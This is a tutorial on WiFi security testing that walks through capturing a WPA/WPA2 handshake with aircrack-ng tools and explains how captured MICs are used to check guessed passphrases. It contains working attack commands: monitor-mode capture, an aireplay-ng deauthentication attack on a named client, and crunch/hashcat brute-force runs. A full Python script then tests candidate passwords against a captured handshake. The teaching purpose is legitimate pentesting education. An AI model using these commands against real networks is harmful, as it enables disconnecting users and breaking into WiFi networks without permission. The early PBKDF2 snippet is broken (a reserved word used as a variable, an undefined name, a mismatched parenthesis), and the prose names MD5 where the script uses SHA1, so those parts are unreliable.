Capturing WPA/WPA2 Handshake [MIC/Hash Cracking Process]


Capturing WPA/WPA2 Handshake [MIC/Hash Cracking Process]

Introduction

Here we’re going to show capturing WPA/WPA2 handshake steps (*.cap), continuing with explanations related to cracking principles. We’ll go through the process step by step, with additional explanations on how things work, which WiFi keys are generated and how, using captured handshake to manually crack/calculate MIC in EAPol Frames (using WireShark and custom Python code).

We’re not going to crack hashes with usual tools (oclHashCat or aircrack-ng), but we’ll mention some related details. That process depends on the available hardware and password complexity, and will be covered later on. We do have to mentioned that there are other ways to avoid 4-way handshake altogether, PMKID (found while looking at WPA3 – ‘dragonfly’ vulnerabilities).

The 4-way handshake

The goal of this handshake is to create an initial pairing between the client and the AP (access point):

  • AP sends ANonce to the STA (connecting station). The client creates the PTK (Pairwise Transient Key).
  • Client sends SNonce to AP and a MIC (Message Integrity Code) which includes the authentication.
  • The AP creates PTK and sends the GTK (Group Temporal Key), along with a sequence number together and an MIC.
  • The client sends a confirmation to the AP.

GTK is then used to decrypt multicast/broadcast traffic.

eapol wifi

Key Construction [PMK, PTK, KCK, MIC]

Before this handshake takes place, both AP and Station/Client contain PMK (never transmitted over the air). It’s used to derive PTK and is computed using PBKDF2 (Password-based Key Derivation Funtion 2) which uses HMAC-SHA1 algorithm to encode data:

PMK = PBKDF2(HMAC−SHA1, PSK, SSID, 4096, 256)

The 4096 iterations to create 256 bit PMK with SSID used as salt and PSK (passphrase) used as the base of entire process. Sample python code:

#import hashlib
from pbkdf2 import PBKDF2
ssid = 'cyberpunk' 
pass= 'theone'

print "Pairwise Master Key (PMK): " + PBKDF2(phrase, ssid, 4096).read(32).encode("hex"))

# ALTERNATIVE
# pmk = hashlib.pbkdf2_hmac('sha1', passphrase, SSID.encode(), 4096, 32) 

PTK is dependent on ANOUNCE, SNOUNCE, AP & Station MAC Addresses and PMK. The result is 512bit PTK which are treated as 5 separate keys:

  • 128bits – Key Confirmation Key (KCK) – Used during the creation of the MIC.
  • 128 bits – Key Encryption Key (KEK) – Used by the AP during data encryption.
  • 128 bits – Temporal Key (TK) – Used for the encryption and decryption of unicast packets.
  • 64 bits – MIC Authenticator Tx Key (MIC Tx) – Only used with TKIP configurations for unicast packets sent by access points.
  • 64 bits- MIC Authenticator Rx Key (MIC Rx) – Only used with TKIP configurations for unicast packets sent by clients.
- 128 bits -.- 128 bits -.- 128 bits -.- 64 bits -.- 64 bits -
|    KCK    |     KEK    |     TK     |  MIC Tx   |   MIC Rx  |

PKE value is assumed. PTK can be generated with a function (customPRF512) or simply by calling hmac lib. Sample python code for generating the keys:

         pmk = hashlib.pbkdf2_hmac('sha1', passphrase, SSID.encode(), 4096, 32)
         pke = "Pairwise key expansion"
         key_data = min(ap_mac,s_mac) + max(ap_mac,s_mac) + min(anonce,snonce) + max(anonce,snonce)
         ptk = customPRF512(pmk, pke, key_data)
         kck = ptk[:16]  #TAKING just 16 bytes
         
         # ALTERNATIVE
         #ptk = hmac.new(pmk, message, hashlib.sha1).digest()
         #kck = hmac.new(pmk, message, hashlib.sha1).digest()[:16]

With that, we have everything we need to calculate MIC, which you can further use to validate your attempts to crack password. Below you’ll find a complete python code you can use to experiment.

Capturing WPA/WPA2 Handshake with Aircrack-ng

Maybe an overkill for the sake of the example, but we’re going to use couple of Devices:

  • an Asus Tables as AP
  • an old IPhone 4 as STA
  • a WiFi USB
WPA/WPA2 handshake

Start

$ airmon-ng start wlan0

I varies from system to system (adapter) but you’ll probably end up with an interface wlan0mon. Check ifconfig output and see what you’ll end up with:

  wlan0mon: flags=867<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI>  mtu 1500
    unspec A0-33-C1-22-1B-B3-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
    RX packets 7669072  bytes 1778986484 (1.7 GB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 0  bytes 0 (0.0 B)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Next, look what’s out there:

$ airodump-ng wlan0mon
Capturing WPA/WPA2 Handshake: wlan0mon interface

Dumping everything you capture to a FILE (*.cap):

$ airodump-ng -w <FILE> mon0

With this, we’re waiting for any WPA handshake to happen. When it does occur, in the top right corner you’ll see something like:

CH  9 ][ Elapsed: 4 s ][ 2019-05-24 16:58 ][ WPA handshake: XX:XX:XX:XX:XX:XX 

Here in this example, we’re going to be a more specific, we have a target in mind (CyberPunk Net with AP on 40:16:7E:DC:1A:8C). We want to read channel 6 (CyberPunk Channel), BSSID (40:16:7E:DC:1A:8C) and write all that into a file:

$ airodump-ng -c 6 --bssid 40:16:7E:DC:1A:8C  -w CP wlan0mon

To speed things up we’re going to deauthanticate the wireless client on that BSSID by sending DeAuth package:

$ aireplay-ng -0 1 -a 40:16:7E:DC:1A:8C -c D8:9E:3F:3D:3F:69 wlan0mon
20:14:23  Waiting for beacon frame (BSSID: 40:16:7E:DC:1A:8C) on channel 6
20:14:24  Sending 64 directed DeAuth. STMAC: [D8:9E:3F:3D:3F:69] [25|59 ACKs]
  • 0 : Deauthentication Frame
  • 1 : Number of DeAuth packages
  • -a : AP MAC Addr
  • -c : Client:STA MAC Addr

Deauthentcation frame, sent from router to a device, terminates client’s connection. Devices are usually configured to re-connect automatically, again going through 4-way-handshake. Previously started airodump-ng will capture it.

Capturing WPA/WPA2 Handshake: Captured Handshake
Captured: [ WPA handshake: 40:16:7E:DC:1A:8C

In this example, we know the password (“theonecp”), it has 8 lowercase chars (WPA Minimum), so that’s 26^8 = 208.827.064.576 possible combinations.

On our machine, crunch + aircrack has performance of 10k keys/sec. With that speed, we would break it in ~240 days (max).

$ crunch 8 8 abcdefghijklmnopqrstuvwxyz | aircrack-ng -b 40:16:7E:DC:1A:8C -w - cyberpunk_rs-02.cap

On the other hand GUI oclHashCat is far better with 360k keys/sec (2 RX 580 Cards). Rough estimate, 6 days (max).

$ hashcat -m 2500 -w 3 22924_1560196005.hccapx -a 3  ?l?l?l?l?l?l?l?l

We’re not going to go into cracking this using tools, but we’re going to cover the principles on which those tools are based. If you need additional stats, check Password Cracking and Login Brute-force [Stats]

Capturing WPA/WPA2 Handshake: Cracking Principles [Steps]

Based on the 4-way-handshake diagram we’ve previously showed, we can see exact EAPol packets involved in 4-way-hanshake we captures (WireShark SS, *.cap):

Capturing WPA/WPA2 Handshake: Cracking Principles [Steps]
Note: WPA uses md5 to compute the MIC while WPA2 uses sha1

With the 2nd EAPol package of the handshake geting captured, there’s enough information to try and compute PTK (using assumed PSK passphrase), which can then be used to extract KCK and compute MIC (HMAC_MD5). This newly computed MIC is than compared to the captured MIC to determine the validity of assumed PSK.

The simple script below enables you to manually calculate appropriate fields and check if certain password is the one we’re looking for:

import hmac,hashlib,binascii,sha
import sys
from pbkdf2 import PBKDF2

def customPRF512(key,A,B):
      blen = 64
      i    = 0
      R    = ''
      while i<=((blen*8+159)/160):
          hmacsha1 = hmac.new(key,A+chr(0x00)+B+chr(i),hashlib.sha1)
          i+=1
          R = R+hmacsha1.digest()
      return R[:blen]

# sorting function for byte strings
def sort(in_1, in_2):
         if len(in_1) != len(in_2):
             raise 'lengths do not match!'
         in_1_byte_list = list(bytes(in_1))
         in_2_byte_list = list(bytes(in_2))

         for i in range(0, len(in_1_byte_list)):
            if in_1_byte_list[i] < in_2_byte_list[i]:
                return (in_2, in_1) # input 2 is bigger
            elif in_1_byte_list[i] > in_2_byte_list[i]:
                return (in_1, in_2) # input 1 is bigger
         return (in_1, in_2) # equal (shouldn't happen)

 
SSID = raw_input('SSID: ')
#passphrase = raw_input('Passphrase: ')
ap_mac = binascii.a2b_hex(raw_input("AP MAC: "))
s_mac = binascii.a2b_hex(raw_input("Client MAC: "))
anonce = binascii.a2b_hex(raw_input("ANonce: "))
snonce = binascii.a2b_hex(raw_input("SNonce: "))
eapolFrame = binascii.a2b_hex(raw_input("EAPol Frame: "))
 
max_mac, min_mac = sort(ap_mac, s_mac)
max_nonce, min_nonce = sort(anonce, snonce)
message = b''.join([
         b'Pairwise key expansion\x00',
         min_mac,
         max_mac,
         min_nonce,
         max_nonce,
         b'\x00'
     ])

option="P"
while True:
         print "\nE - input new EAPol frame, P - Try a password"
         option = raw_input("Option: ")
         if(option.upper() == "P"):
             passphrase = raw_input('Passphrase: ')
         if(option.upper() == "E"):
             eapolFrame = binascii.a2b_hex(raw_input("EAPol Frame: "))
         if(option.upper() == "X"):
             break

         pmk = hashlib.pbkdf2_hmac('sha1', passphrase, SSID.encode(), 4096, 32)
         pke = "Pairwise key expansion"
         key_data = min(ap_mac,s_mac) + max(ap_mac,s_mac) + min(anonce,snonce) + max(anonce,snonce)
         ptk = customPRF512(pmk,pke,key_data)
         kck = ptk[:16]
         
         #ptk = hmac.new(pmk, message, hashlib.sha1).digest()
         #kck = hmac.new(pmk, message, hashlib.sha1).digest()[:16]

          # SKIP FIRST FEW SECTIONS OF THE EAPOL PACKET
         frame802 = eapolFrame[34:]
         mic = frame802[81:97]
         eapol_frame_zeroed_mic = b''.join([
                                       frame802[:81],
                                       b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
                                       frame802[97:]
                                  ])
         
         calculated_mic = hmac.new(kck, eapol_frame_zeroed_mic, hashlib.sha1).digest()[:16]
         
         print ("PMK: " + pmk.encode('hex') )
         print ("PTK: " + ptk.encode('hex') )
         print ("KCK: " + kck.encode('hex') )
         
         print ("Packet MIC: " + mic.encode('hex') )
         print ("Calculated MIC: " + calculated_mic.encode('hex'))
         
         if (mic == calculated_mic):
                print "**************************"
                print "*** Correct Password ! ***"
                print "**************************"
         else:
                print "**************************"
                print "**** Wrong Password ! ****"
                print "**************************"

If you want to make something more specific with python, you should probably check Python WPA2 Cracker. It’s a nice & short example on how to manage things in WiFi sphere, who knows it might inspire an idea to build something of your own.

Conclusion

If you never before went into details on how WPA/WPA2 is getting cracked (bruteforced), we hope this article demistified the process a bit. It’s not a science fiction and understanding it might provide some additional perspectives related to WiFi, Pentesting and Cybersecurity in general.